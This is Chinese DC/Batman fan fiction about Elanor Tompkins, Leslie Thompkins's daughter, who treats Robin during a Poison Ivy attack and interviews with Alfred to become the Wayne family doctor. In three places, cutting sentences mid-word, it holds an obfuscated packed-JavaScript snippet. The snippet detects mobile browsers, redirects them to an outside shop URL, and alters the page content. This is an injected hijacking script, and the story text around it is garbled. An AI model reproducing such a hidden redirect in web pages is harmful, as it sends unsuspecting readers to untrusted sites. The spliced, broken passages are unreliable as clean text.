《[综英美]我给韦恩当家庭医生》 1. 哥谭!!!我回来啦!!! 他的颅骨在肚子里。 “妈妈,为什么他的颅骨在腹腔里,我们的诊所怎么能做异位寄养?” 埃拉诺在行李转盘前等自己的托运行李转过来。 一边等一边打电话。 她承认在落地哥谭的第一时间给妈妈打这样一通电话很奇怪,但别无他法。 埃拉诺真的需要知道,为什么开在公园街的莱斯利医生的诊所会做去骨瓣减压术。 “埃拉诺,你在说什么?谁的颅骨在腹腔里,我们的诊所做不了这种手术,我会第一时间把病人转诊到哥谭综合医院或者其他的大型医院的,我们没有这个条件。” 行李转盘上的毛绒蝙蝠转过来。 于是埃拉诺知道行李转盘已经转过一圈,而且自己的行李没有转出去。 她得去找工作人员问自己的行李在哪里了。 哥谭机场的行李转盘不用公务熊,用公务蝙蝠做第一件行李的标记。 “妈妈,我很清楚我在说什么,我们上次打视频时我看到了,我看到了片子,我看到了病历,就在你背后的电脑上。” 走到柜台。 万幸,行李只是延误了。埃拉诺留下自己的地址好让机场的工作人员邮寄。 也就是说,在登记表上写上犯罪巷莱斯利·汤普金斯医生诊所的地址。 莱斯利:“我想你看错了,埃拉诺,我不会在我们的小诊所里做这种手术……” “我的视力5.3,妈妈,你知道的,我没有看错,那就是我们诊所的病历格式,我甚至截了图,需要我发给你吗?” “埃拉诺,你也是医生,你应该可以理解的。” 电话那边的声音听起来有点沉重。埃拉诺步履匆匆地往地铁口走。 她不打算打车。 现在是白天,汤普金斯医生的诊所是一个很安全的地方,但这个地方依然是在犯罪巷,司机多半会要求加钱的——甚至是翻倍。 所以,到最近的一个地铁口,然后走过去好了。 “我只有四个问题要问,妈妈。” “问吧。” “第一个问题,莱斯利医生,那次手术麻醉医生是谁?” …… 一秒。 两秒。 埃拉诺在等待着妈妈报出来诊所麻醉医生的名字。 但她没有听到那个熟悉的名字。 “阿尔弗雷德。” “我不知道他是谁,”埃拉诺干巴巴地说,“我们原来的麻醉医生离开了吗?辞职了吗?” 莱斯利:“埃拉诺,亲爱的,你说过你只问四个问题,这算是两个问题,需要我回答吗?” 只需要再过一个小时,等她回到家里的诊所,就知道原来的麻醉医生是否平安了。所以这个问题的优先级可以先放一放。 埃拉诺认识的唯一一个阿尔弗雷德是布鲁斯·韦恩的管家,她只认识那一位阿尔弗雷德先生,显然,潘尼沃斯先生不是麻醉医生。 “不,当然不用,我的第二个问题是,器械护士是谁?” 又是沉默。 和刚才问麻醉医生时一样。 “理查德。” 理查德?! 谁是理查德? 埃拉诺是在妈妈的诊所里长大的,她确信没有一个叫做理查德的护士! “第三个问题,巡回护士是谁?” 这回没有沉默,莱斯利·汤普金斯医生回答得很快。 “芭芭拉。” 又一个新名字。 “第四个问题,一助是谁?” …… “没有助手。” “所以我回来了。妈妈,这种大型手术不能没有助手,你主刀,我做助手。” 机场出口就是地铁口,外面在下雨,埃拉诺戴上连帽衫的帽子,然后快走几步,进去,再把帽子放下来。 “埃拉诺,我的孩子,你有自己的工作,你已经是主治医师了,你不必为了……” “没有了,妈妈。” 从机场出口到地铁口那一段路埃拉诺没有听清楚妈妈在说什么,雨声很大,路上很吵,虽然机场和地铁站里面也很吵,但还不至于马路上那么吵。 “我辞职了,花一周时间办理辞职手续,退租,回哥谭。从我知道你在诊所给人做开颅手术为止。妈妈,你不能一个人主刀,你需要一个助手。” 地铁站里很闷,空气不好,埃拉诺刷卡进站。 这里的信号和空气一样不好。她只能听见妈妈的声音断断续续地从手机扬声器里飘出来。 “你在波特兰有很好的前途……” “你现在在机场吗?” “埃拉诺,诊所运行的很好,不必担心……” “我不在机场,我在地铁站里,已经到哥谭了,预计一个小时后到家,信号不好,再见,妈妈。” 挂断电话。 埃拉诺没有做深呼吸,地铁站里面的空气真是不太好,她默默从手提包里拿出一个口罩戴好,打算出地铁时丢掉它。 一周以前她发现莱斯利·汤普金斯医生在家里的诊所做开颅手术,给一个身份成疑的病人做开颅手术。 身份成疑的患者不是没有接诊过,埃拉诺从小就见怪不怪了。 她甚至还见过蝙蝠侠。 她妈妈,莱斯利·汤普金斯医生,给蝙蝠侠治疗! 亲眼见过的! 蝙蝠侠还给了她一颗蝙蝠形状的糖! 虽然,之后她被罗宾——看起来和自己差不多高的罗宾——带到一边,听了一百遍“你绝对不能说出去蝙蝠侠在莱斯利医生的诊所”。 等到妈妈从治疗室出来,也对她说了一百遍“你绝对不能说出去蝙蝠侠和罗宾在我们的诊所里治疗”。 当时埃拉诺十二岁。 还像哥谭所有孩子一样,做着一个当蝙蝠侠罗宾的梦。 现在,对于罗宾来说,她已经远远超龄了。但以自己的履历来看,她完全可以做莱斯利医生的助手了。 也就是说,成为蝙蝠医生—— ——的助手。 然后等妈妈退休,接过她的白大褂,当真正的蝙蝠医生。 坦白说,埃拉诺甚至有点怀疑阿尔弗雷德,理查德和芭芭拉就是义警们的化名,而需要做开颅手术的患者就是蝙蝠侠本人。 如果她去问的话,莱斯利医生会说出来吗? 不知道。 义警的身份需要保密。 她知道的。 也许能对她说出来化名就是极限了。 行李延误。 地铁也延误。 埃拉诺面无表情地在站台上等自己的车,目不斜视,死死盯住自己的手机,趁着在站台还有信号赶紧多加载出来几个帖子,一会到地铁上看。 点开一个。 退出一个。 然后重复以上操作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153948|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地铁终于来了,地铁铃响得耳朵疼,埃拉诺烦躁地揉揉自己的耳廓。她想耳朵也能放在肚子里,就和手可以放在肚子里,颅骨可以放在肚子里一样。 异位寄养。 一个在白天时处理感冒和擦伤,晚上处理刀伤,枪伤和钝器伤的小诊所,来完成这种规格的手术。 埃拉诺不担心设备的问题,虽然她自己看到的诊所只有一间普通规格的手术室,也缺少更高级的设备——但既然她十二岁时就看到了蝙蝠侠,就说明肯定还藏着另外一个手术室,还有一些被藏起来的医疗器械。 她担心的是莱斯利·汤普金斯医生。 哥谭的义警们很好,但他们终究也没有受过规范的医学训练,莱斯利医生需要一个真正的助手,不必担心小丑是不是从阿卡姆越狱,不必担心是不是又冒出来新的稀奇古怪的超级罪犯,可以一心一意扑在诊所事务上的助手。 比如莱斯利医生的女儿。 埃拉诺·汤普金斯医生就是助手的很好人选。 她从手机屏幕上移开视线,地铁隧道里有巨幅的公益广告,中间印着大大的“W”。 韦恩。 韦恩集团。 赞美韦恩奖学金,他们为她提供了本科和医学院的一半学费。 妈妈说她有足够让埃拉诺上大学的积蓄,但她不敢接受,本来诊所就只收很低廉的象征性的诊费,埃拉诺几乎想不通是怎么盈利的——也许是蝙蝠侠背后的布鲁斯·韦恩在一直赞助她们的诊所——能有积蓄很难,莱斯利还有退休生活。 她不愿意占用妈妈的退休金。 总之,莱斯利医生出了一半的学费,另一半是韦恩奖学金提供的。 全职在诊所工作也不现实,埃拉诺在办完辞职手续的同一时间就给哥谭的几家大型医院投递了简历,她相信自己会收到面试通知的。 地铁在隧道中隆隆行驶,信号格彻底消失,加载了一半的帖子凝固在屏幕上。埃拉诺不再尝试刷新,她关掉屏幕,将手机握在掌心,透过车窗凝视自己模糊的倒影,和倒影后飞速掠过的,印有巨大“W”的广告牌残影。 广播报出来她要下车的那一站,最后一下震动过后,列车停下,埃拉诺松开吊环,活动了一下发麻的手臂,走出去。 哥谭在下雨。 不大,更像是黏稠的雾气,粘附在衣物和皮肤上。她摘下口罩,很小心地避开地上溢出来的垃圾,猛地投掷出去,但口罩太轻了,埃拉诺只好看着它轻飘飘地打着转落在垃圾桶的边缘。 没有进去。 风一吹,也没有掉下来。 白色挂耳绳挂在垃圾桶上晃晃悠悠。 埃拉诺耸耸肩,重新戴上兜帽,挡一点雨,也把一头金发遮起来,往公园街——犯罪巷走去。她没抬头,拿出手机来,准备给莱斯利医生发个消息,但从这里已经能看见诊所了—— 所以她又把手机收起来了。 上次回哥谭是来过圣诞节,距离现在差不多一年,但这边没有什么变化,除了墙上的涂鸦变了。 在这儿,她不是“埃拉诺医生”,只是“莱斯利医生诊所的小埃拉诺”。 前者更容易遭到抢劫,而后者——嗯——起码不会被流浪汉纠缠,不过也不好说,埃拉诺其实不知道还有多少认识她的人仍然住在这个街区。 五分钟后,埃拉诺·汤普金斯推开诊所的门。 “妈妈,我回来了。” 2. 推荐信 “我会给你写一封推荐信,埃拉诺。” “哦,太棒了,妈妈,虽然我确信自己一定会收到哥谭综合医院的offer,但是我不会介意多一份推荐信的。” “不,是给布鲁斯·韦恩先生。” …… 韦恩集团旗下有医院,埃拉诺知道的。但推荐信直接写给集团的董事长,这种事埃拉诺闻所未闻。 “不过看到推荐信的人,肯定会是阿尔弗雷德·潘尼沃斯先生。” 莱斯利医生说。 “潘尼沃斯先生不是韦恩的管家吗?为什么会是潘尼沃斯先生看推荐信。” 埃拉诺有点不明白,管家应该不会处理韦恩集团的事务。 “因为我要把你推荐给韦恩先生做家庭医生,埃拉诺。” 韦恩的家庭医生。 埃拉诺感到一阵轻微的眩晕。她首先想到的是,给布鲁斯·韦恩当家庭医生,会有一笔巨额薪酬。 再加上布鲁斯·韦恩热爱极限运动的名声,韦恩的家庭医生大多数时间应该是没有什么工作的,以他热爱运动的程度和平时在新闻上展现出的面色和体态,平时不会得什么小病。 哦,倒不是说布鲁斯·韦恩会有什么大病—— 但显而易见,家庭医生处理不了滑雪导致的多处骨折,家庭医生处理不了冲浪造成的脊髓损伤,家庭医生—— 处理不了任何极限运动造成的损伤。 甚至见不到韦恩的面,会有直升机把韦恩拉到医院去的。 埃拉诺想。 她从来没有在新闻上看到过布鲁斯·韦恩的家庭医生陪着他在全球飞来飞去做极限运动,也就是说,韦恩的家庭医生是常驻哥谭的,自己会有更多的空余时间负责诊所。 也就是说,布鲁斯·韦恩的家庭医生,是一份又轻松,又高薪的完美工作。 太完美了总是令人心生怀疑。埃拉诺花了整整三秒钟来消化“韦恩的家庭医生”这个信息。她有十足的把握拿到哥谭综合医院的Offer,但没有十足的把握拿到韦恩的Offer。 而聪明人总是会准备PlanA,PlanB,PlanC…… 到不了Z,哥谭没有那么多埃拉诺觉得合适的医院,也没有太多富豪请的起斯坦福的医学博士做家庭医生。 埃拉诺默默调整了工作的优先级排序,她把“韦恩的家庭医生”排到第一位,把“哥谭综合医院”和其他医院的面试依次往下降了一位。 阿尔弗雷德·潘尼沃斯先生的面试在下周二下午两点,在此之前,埃拉诺还要去哥谭综合医院的面试,也就是她的第二优选。 如果潘尼沃斯先生做决定做的快一点,她就可以决定不去周三另外一家医院的面试了。但无论如何,周一哥谭综合医院的面试都是要去的。 啊,哥谭。 啊,我的家乡。 一周的时间转瞬即逝,埃拉诺主要在温习康复医学和儿科学,一个外科医生不是家庭医生的最好选择,韦恩有孩子,很多个孩子,男孩们和女孩们,虽然有一半已经成年,但还有一半是未成年。 未成年的一半需要儿科。 比如韦恩的小儿子达米安·韦恩。 至于说康复医学,埃拉诺确信,布鲁斯·韦恩作为哥谭首富,在他热爱极限运动的同时会聘请优良的康复团队,但这不代表自己一个家庭医生就可以只知道切切切了。 老实说,埃拉诺觉得自己大概不会有太多机会在韦恩先生动刀子。 这些准备全都是为了周二下午在韦恩庄园的面试,面试官是韦恩的管家潘尼沃斯先生。 不是为了周一下午在哥谭综合医院行政楼的面试。 就目前的情况来看,自己恐怕是走不出去了。虽然走廊里还是一片岁月静好的样子,还有一点哥谭少见的夕阳,光洁的地板上拖出来斜斜的人影。 分别属于埃拉诺和刚刚走出来的面试官们。 因为他们全都听见全院广播很尽职尽责地喊了一声——只有一声。 “住院部一楼发生代码999!代码999!” 代码999是超级罪犯袭击。 至于具体是哪一个就不知道了。 如果直接全院广播“小丑袭击”“稻草人袭击”“毒藤女袭击”,那会引起恐慌的。 而代码999就好得多,安全简洁,起码广播员有时间把999喊出来再被超级罪犯抓走。 “听起来广播室已经被某个疯子控制了。” 埃拉诺转头,面试她的总共有三个人,一位主管人事的副院长,一位是外科的主任,还有一位是董事成员,就这一句广播的功夫,除了那位外科主任,都已经从不知道哪一个通道跑走了。 “跑得可真快,”埃拉诺对那位医生感慨了一下,“我还想没机会跑出去了呢。看起来,院长先生和董事先生足以确保自己的安全。” 999是哥谭各大公共场所的通用代码,哥谭综合医院也不例外,999不是危重病例,是超级罪犯袭击。显而易见,另外两位的面试官对999同样熟悉,熟悉到听见的第一反应就跑了——即使门诊楼离行政楼有相当一段距离。 埃拉诺跑到转角,找到消防器材箱,打开柜门,先给自己拿了个防毒面具戴上,再把另外一个丢个后面的医生。 真不赖。 他居然现在还没有跑。 “嘿,医生,戴上防毒面具,鬼知道一会是不是会有笑气恐惧毒气或者鬼知道是什么玩意从鬼知道哪一个缝隙里冒出来——” 没听见防毒面具落地的声音,这代表外科主任接住了它。埃拉诺麻利地弯腰把消防斧拣出来。 防身用。 “传呼机带了吗?呼叫你科室里的医生,确认他们是否安好,你是主任,你应该负起责任来。” 一直没听见后面的动静,埃拉诺不得不自己出声提醒外科主任。 肾上腺素会让时间感变慢。她瞟一眼电子表,距离听见广播才过了一分钟。 再次转身。 埃拉诺脸上戴着防毒面具,手里提着消防斧,她觉得自己已经可以冲进住院部和其他医护一起疏散和保护病人了。 “我的儿子。” 终于,埃拉诺听见了外科主任的声音。 “什么?” “我的儿子在住院部,我要去找他。” ——在危急关头跑去超级罪犯占领的住院部找自己的儿子 ——我们是在拍电影吗? 哦,不是电影。 不过埃拉诺本来也打算去住院部,就算她不会成为哥谭综合医院的医生,但作为一名恰好在场的医生,也该去协助本院医护的。 “很好,我本来也打算去的,但我想你应该随身带院内传呼机的,听我说,呼叫你的住院总——呼叫住院——” 忽然,埃拉诺意识到一个问题。 外科主任没有儿子。 在面试之前她就知道面试官分别是谁,并且对他们做了背景调查。 据公开资料,这位外科主任没有儿子。他没有儿子,只有一个女儿。 “呼叫你的住院总,”埃拉诺把这句话补全,“我想,有了今天这次999,哥谭综合医院上下不会有一个不同意给我发offer的。” 她甚至开了个玩笑。 不过,这倒也不完全是玩笑。面试者在超级罪犯袭击时不仅没跑,还和本院医生一起去协助工作,真的,这个Offer稳了。 但要是收到了韦恩的offer,她就会毫不犹豫地舍弃哥谭综合医院的。 前提是自己能在这次袭击活下来。 埃拉诺很乐观,即使她已经发现外科主任不对劲,还是很乐观。 850万人口,每年200人左右遇害。 赞美蝙蝠侠。 这个死亡率很低了,埃拉诺之前在波特兰工作,那边的谋杀率不比哥谭低多少,而纽约那样的城市的犯罪率已经超过哥谭了。 就算是外科主任是泥脸扮演的,自己死亡的可能性还是很低的。 埃拉诺向来乐观。 她已经能确定外科主任是假的了。 但依然很乐观。 即使走廊尽头那扇采光优美的落地窗——本该映照着哥谭罕见夕阳的——轰然炸裂,也一样乐观。 因为进来的除了某种巨大蛮横的藤蔓以外,还有一道红、黄、绿相间的敏捷身影。 罗宾。 武士刀从外科主任的侧肩没入,肋下划出。 没有血,只有藤蔓,藤蔓,藤蔓。然后绿色的藤蔓扭曲挣扎,眼见就要重新长出来被罗宾削掉的头颅。 植物人。 埃拉诺瞬间明白了。她再次检查了一下防毒面具,然后找了一个墙角,蹲下。 万一这栋楼塌了,墙角处相对安全。 是毒藤女的手笔。 战斗在狭窄的走廊里爆发,速度快得令人眼花缭乱。罗宾的格斗技巧精湛,身形灵活,但植物人的力量显然更胜一筹,而且不知疼痛,藤蔓手臂可刚可柔,攻击角度刁钻。 它完全无视了旁边的埃拉诺,所有攻击都集中在罗宾身上。 埃拉诺紧贴着墙,消防斧横在胸前。 加入战斗是送死,还可能干扰罗宾。 植物人看起来智商不高的样子,但埃拉诺没有自大到觉得自己能对付得了。 所以,跑。 至少要留出来足够的空间,不能让植物人一把就把自己捞过去当人质。这个假外科主任有罗宾对付,而住院部的代码999需要医生——真正的医生。 已知外科主任是毒藤女替换过的植物人。 毒藤女在住院部。 外科主任不在住院部。 外科主任在事发后的第一反应是前往住院部。 外科主任不是唯一一个植物人。在住院部,必定存在其他被替换成植物人的医护。 也就是说,住院部需要真正的医生。 埃拉诺的大脑刚完成那串闪电般的推理,身体已准备向行政楼深处撤离——去更安全的地方,然后想办法绕向住院部。 但战局比她预想的结束得更快。 就在她脚尖转向的刹那,走廊里那道红绿黄交织的旋风做出了最后的终结。罗宾给植物人注射了什么东西——也许是某种蝙蝠除草剂,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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终于,罗宾——这一任的罗宾,比埃拉诺认识的罗宾要矮一点的罗宾——嘁了一声,单手从腰带上的一个暗格里,抽出来一卷灰黑色的高强度自粘弹性绷带,质地看起来远超普通医用产品。 “我知道如何处置。” 他强调,语气硬邦邦的,“我可以离开后自己处理。” “当然,” 埃拉诺迅速接话,语气平和但不容置疑,“但自己固定很难达到最佳效果,尤其是在你另一只手也可能需要用力的情况下。让我帮忙,这是效率最高的选择。你可以全程监督,觉得不对随时叫停。” 她顿了顿,补充了自认为最具说服力的一点:“莱斯利·汤普金斯医生是我的母亲。我知道规矩。虽然我戴着防毒面具,但我相信以罗宾的敏锐,认得出来我。” 到目前为止,单是对话就占用了一分钟时间。 “两分钟,” 罗宾最终让步,声音依旧紧绷,“只做触诊和固定。不许用任何你自己的东西。” “成交。” 埃拉诺立刻上前,动作迅速而专业。她隔着罗宾那件坚韧的制服,手指轻轻按在他指示的肋区。 触诊需要力度,但她控制得恰到好处,寻找骨擦感和异常痛点。罗宾的身体在她触碰时僵硬了一瞬,但很快强迫自己放松下来,只有紧抿的嘴唇显露出他的不适和高度戒备。 “骨擦感不明显,应该是骨裂或不全骨折。气胸体征很轻微,但确实存在。” 她快速判断,“固定可以大幅降低风险。吸气——稍微深一点——好,停在这个位置。” 她接过那卷特殊的绷带,从罗宾腋下开始,以螺旋重叠的方式向上缠绕。她的手指灵巧,力度均匀,既确保固定有效,又避免过度压迫影响呼吸。整个过程,罗宾的目光始终锁定在她的手和脸上,仿佛在评估一场精密手术的每一个步骤。 虽然这不是精密手术,只是很简单的固定包扎。 “你处理外伤很熟练。” 他忽然说,陈述多于疑问。 …… 太愚蠢了。 埃拉诺不相信罗宾没有对自己做过调查。 “我曾经是切尔西综合医院创伤中心的主治医师之一。” 处理外伤当然熟练了。 她就是外科医生啊外科医生啊,这是什么废话。 有一瞬间,埃拉诺真想说一句激怒罗宾的话。 ——你比我认识的上个罗宾好像矮一点。 但埃拉诺的专业素养只是让她在绷带固定完毕后检查了一下松紧度,又示意罗宾做了几个小幅度的转身和抬臂动作,然后以同样专业的语气问他“感觉如何?呼吸有没有改善或更困难?” 罗宾仔细感受了一下,点了点头。“可以。” 他随即后退一步,拉开了安全距离,重新恢复了那种蓄势待发的姿态,仿佛刚才短暂的医疗介入从未发生。 “够了。离开这里,医生。” “我知道,” 埃拉诺也退后,捡起了地上的消防斧,再抬头,罗宾无声无息地消失了。她只能透过玻璃的破洞看到黄色的披风越来越远。 3. 面试!!!我来啦!!! 运动医学为了布鲁斯·韦恩。 儿科学为了达米安·韦恩。 青少年心理学为了提摩西·德雷克和卡珊德拉·该隐。 以上四位是韦恩庄园的常驻人员…… 并不一定常驻。 据今天的哥谭晨间新闻报道,布鲁斯·韦恩一周前在澳大利亚黄金海滩冲浪时摔倒,在自己的冲浪板上撞伤头部,昨日刚刚转运回哥谭。 嗯…… 开颅手术的术后护理吗? 这倒是专业对口。 埃拉诺看着新闻界面上被两位漂亮乘务员一左一右搀扶着走下飞机的哥谭首富想。 屏幕上的哥谭首富笑得一脸明媚,好像不是他自己把脑子摔成了两瓣。 埃拉诺慢慢喝着咖啡,再温习一遍往期的新闻报道。 她已经提前整理过一个文件夹,把所有涉及到“布鲁斯·韦恩极限运动受伤”的新闻收集起来了,并且在没有见过病人的情况下粗略地根据新闻描述和照片分析了布鲁斯·韦恩的伤病史。 总结一下,布鲁斯·韦恩先生,致力于在全世界的各个角落把自己摔得七零八落,但埃拉诺依然对雇主的身体健康很有信心,她向来乐观,而且从韦恩上新闻的频率来看,他的恢复速度惊人。 ——非常惊人。 惊人到埃拉诺认为哥谭人应该感谢布鲁斯·韦恩选择了当花花公子而不是去当超级罪犯。 总之,以上就是四位自己需要长期服务的对象了。 此外,韦恩先生还有两位已经脱离儿童和青少年范畴的养子,一位是理查德·格雷森……嗯,理查德,就和那个护士一样的名字,巧合而已,莱斯利医生那次说的肯定是假名,埃拉诺不认为一位布鲁德海文的警察还具备手术室护士的资质。 另一位,呃,或许不仅是脱离了儿童和青少年的范畴,或许还脱离了人的范畴的杰森·陶德。 没有任何明确的信息表明韦恩的第二个养子究竟是死了还是活了。 事实上,证明陶德活着和证明陶德死亡的公开信息一样多。 但有了这个心理准备,到时候见到的无论是陶德本人,还是陶德的墓地,埃拉诺都觉得不会吃惊了,她在过去的一个星期里恶补了伦理学和心理学——虽然这应该是心理咨询师的工作,但埃拉诺需要在呼叫心心理咨询师前先接住韦恩和韦恩小孩们的情绪。 埃拉诺咬下最后一口三明治,喝完咖啡,去镜子前开始整理仪容。 “不要紧张,埃拉诺,阿尔弗雷德——我是说潘尼沃斯先生,不会刁难人的。” 是妈妈的声音,埃拉诺没有转头,她在镜子里面看见了她。 “我不会紧张的,起码不会比博士答辩时更紧张,”埃拉诺在化妆,“妈妈,我只是很想要拿到这份工作。” 一份高薪的清闲的工作意味着埃拉诺有更多的时间能和莱斯利医生一起经营诊所。 韦恩的家庭医生是一份比哥谭综合医院——比任何医院的工作都要好得多的工作。 “昨天的时候我给罗宾做了肋骨固定,这大概是一个加分项,既然韦恩资助蝙蝠侠,我想帮助罗宾总是一件好事的,”埃拉诺要化一个淡到刚刚能出来的妆,充分表现自己对面试官的尊重,又不让妆容喧宾夺主,“但我不知道在999发生去住院部帮助医护去救助病人是不是一个加分项。” 埃拉诺在摸索合适的化妆刷,莱斯利递给她。 “当然是一件好事,就和我们开诊所一样,在毒藤女袭击时人手紧缺,没有人会不想要另外一位训练有素的医生来帮忙,即使她不是自己医院的。” “的确,院长当场录取了我,”埃拉诺闭着眼睛给自己涂一点很淡的浅棕色眼影,“但要是韦恩因此觉得我有别的选择,不会专心工作——” “那他可能会给你开更高的薪水,亲爱的,”莱斯利医生靠在门框上,“在哥谭,能被争抢的人才才有议价权。尤其是当你潜在的另一个雇主是整个哥谭最大的纳税人和慈善家时。” 埃拉诺睁开眼,从镜子里看向母亲。 “你是说,韦恩会为了确保我的‘忠诚’,给我加钱?” “我是说,阿尔弗雷德·潘尼沃斯先生比任何人都清楚,一个优秀的医生永远会有很多选择,”莱斯利走过来,帮她把一缕不听话的金发别到耳后,“而他之所以愿意面试你,是因为他相信,无论有多少选择,你都会做出最专业,最符合职业道德的那一个。就像你昨天做的那样。” 这个逻辑说服了埃拉诺。 她最后检查了一下自己的装束:深灰色套装,低跟鞋,淡到几乎看不出来但确实提亮了气色的妆容。看起来既专业可靠,又不会过于刻板。 “好了,”她深吸一口气,拎起装着简历和各种证书的公文包,“我去赚我们的诊所运营资金了,妈妈。” “祝你好运,埃拉诺。如果阿尔弗雷德问起你为什么离开波特兰——” “——我就说家庭原因。百分百真实,毫无破绽。” 打车去韦恩庄园比打车回家容易得多。 毕竟韦恩庄园在独立的韦恩岛上,很安全,家在已经臭名昭著的公园街里,不安全。 韦恩庄园出现在视野里时,即使有心理准备,埃拉诺还是微微吸了口气。 它巨大,古老,威严,令人对哥谭过去的历史浮想联翩,并且最终忍不住去怀疑是不是韦恩家族的祖先是不是真的有魔法。 她在巨大的铁艺大门前下车,还没来得及寻找门铃或者对讲设备,一个温和、清晰、带着不容错辨的英伦腔调的声音就从旁边一个造型优雅的扬声器里传了出来: “汤普金斯医生,下午好。请进,主宅在前方车道尽头。今天天气不错,如果您不介意,步行大约需要十分钟。当然,代步车正在赶来,预计两分钟后到达您的位置。” 埃拉诺抬头,没找到摄像头,但她可以肯定自己从头发丝到鞋跟都已经被评估了一遍。 坦白说,她有点想象不出来代步车怎么自己赶过来。 “步行就好,潘尼沃斯先生。谢谢。” 因为想象不出来,埃拉诺很果断地选择了步行过去,她一点都不想见识一下韦恩的庄园内代步车。 她沿着车道不紧不慢地走着,趁机观察环境。安保系统显然无处不在但极其隐蔽。植被茂盛,但没有一个角落可以藏下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153950|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个成年人而不被发现。 走到主宅那宏伟的橡木大门前时,门恰好无声地打开了。 “汤普金斯医生,欢迎来到韦恩庄园。我是阿尔弗雷德·潘尼沃斯,”他微微颔首,“请进。面试将在会客室进行,茶还是咖啡?” 埃拉诺走进挑高得令人眩晕的门厅,尽力不让自己的目光像游客一样四处乱瞟。 “咖啡,谢谢您。” 阿尔弗雷德引着她穿过走廊。 “今天的点心是柠檬蛋白挞和手指三明治,希望合您口味。另外,我还准备了司康饼,毕竟让点心架空着一层实在是不好。” “非常感谢,潘尼沃斯先生。” 柠檬蛋白挞是经典的法式甜点,手指三明治是英式的,但埃拉诺想甜点里面应该是没有什么深意的—— 她参加过的每一场面试,没有一场会给面试者准备甜点的。这感觉真奇怪。 最奇怪的是,柠檬挞是她喜欢的,手指三明治里的烟熏三文鱼也是她喜欢的…… 更奇怪了。 仿佛一切都是安排好的一样。 小圆桌上确实摆着精致的瓷器和三层点心架,最上层是金黄诱人的柠檬蛋白挞,中层是司康饼和凝脂奶油,底层是摆放整齐的手指三明治。 这规格不像面试,倒像某位老派淑女或者绅士精心筹备的下午茶会。 埃拉诺在阿尔弗雷德示意的沙发上坐下,将公文包放在脚边。阿尔弗雷德为她倒了一杯咖啡,手法娴熟优雅。 “汤普金斯医生,”阿尔弗雷德在她对面坐下,自己也端着一杯茶,“首先,请允许我代表韦恩家族,感谢您昨天在哥谭综合医院为罗宾提供的及时帮助。他向我转达了您的专业与高效。” “那是我应该做的,潘尼沃斯先生。”埃拉诺接过咖啡,谨慎地啜饮了一口——温度恰到好处,醇香浓郁,是她偏爱的中深烘豆子。 又一个巧合? 她压下心里的异样感。 “任何合格的医生都会那样做。” “或许,”阿尔弗雷德不置可否,眼睛平静地注视着她,“但并非所有医生都具备在那种环境下迅速判断,果断行动,并且……” 他微微停顿。 “……精准地利用手边资源的能力。罗宾提到,您立刻指出了他腰带里应有医疗物资。” 埃拉诺感到一丝被审视的轻微刺痛,但更多的是好奇。“我只是基于常识推断。罗宾的装备以实用和全面著称,基础的急救用品应该是标配。而且,他的呼吸模式显示需要胸廓固定,这是当时最优先的处理。” 更奇怪了。 布鲁斯·韦恩是蝙蝠侠的资助人。 资助蝙蝠侠的人当然也资助罗宾。 潘尼沃斯先生认识罗宾,这点埃拉诺不奇怪。 但听管家说话的口气,好像罗宾也是韦恩家族的一员。 她看到阿尔弗雷德点了点头,那动作轻微得几乎像是光影的错觉。 “很合理的推断。让我们谈谈您申请的职位。您对韦恩家族的家庭医生职责有何理解?” 开始了。 埃拉诺放下咖啡杯,坐直身体。 4. 面试成功 “家庭医生,核心是‘家庭’,”埃拉诺斟酌着用词,目光诚恳地迎向阿尔弗雷德,“这意味着我的职责不仅限于治疗已发生的疾病,更在于预防,监测,以及维护整个家庭成员——无论常住与否——的健康基线。” 她注意到阿尔弗雷德啜饮了一口茶,没有打断的意思,便继续道。 “具体到韦恩家族,这意味着几个层面。第一,为布鲁斯·韦恩先生建立详细的健康档案,重点监测他因…呃,也就是说为他丰富户外活动可能累积的肌肉骨骼损伤,脑震荡后遗症,并制定相应的康复与预防方案。” 她差点说出“极限运动自毁倾向”,紧急刹车。 “第二,为未成年家庭成员提供符合其年龄段的健康监护,疫苗接种管理,生长发育评估,以及……”她微妙地停顿了半秒,“可能需要的,与学业压力或社交环境相关的身心健康支持。” 阿尔弗雷德点头:“听起来您对服务对象有相当的了解。” “只是基于公开信息作出合理的医学推断,以及一点点常识,”埃拉诺保持微笑,“毕竟,为高净值家庭服务,提前研究是基本功课。” 同样是基于公开信息,埃拉诺认为达米安·韦恩就很需要生长发育评估,韦恩先生应该带他看过生产发育科,或者请了专业团队来韦恩庄园看小韦恩。 提摩西·德雷克的社交环境看起来也有点问题,卡珊德拉·该隐的公开信息太少,埃拉诺只知道她是韦恩先生的养女。 “那么,如何处理与专业医疗团队的关系?例如,韦恩先生若真需要开颅手术,显然不会是家庭医生的范畴。” 意料之中的问题。 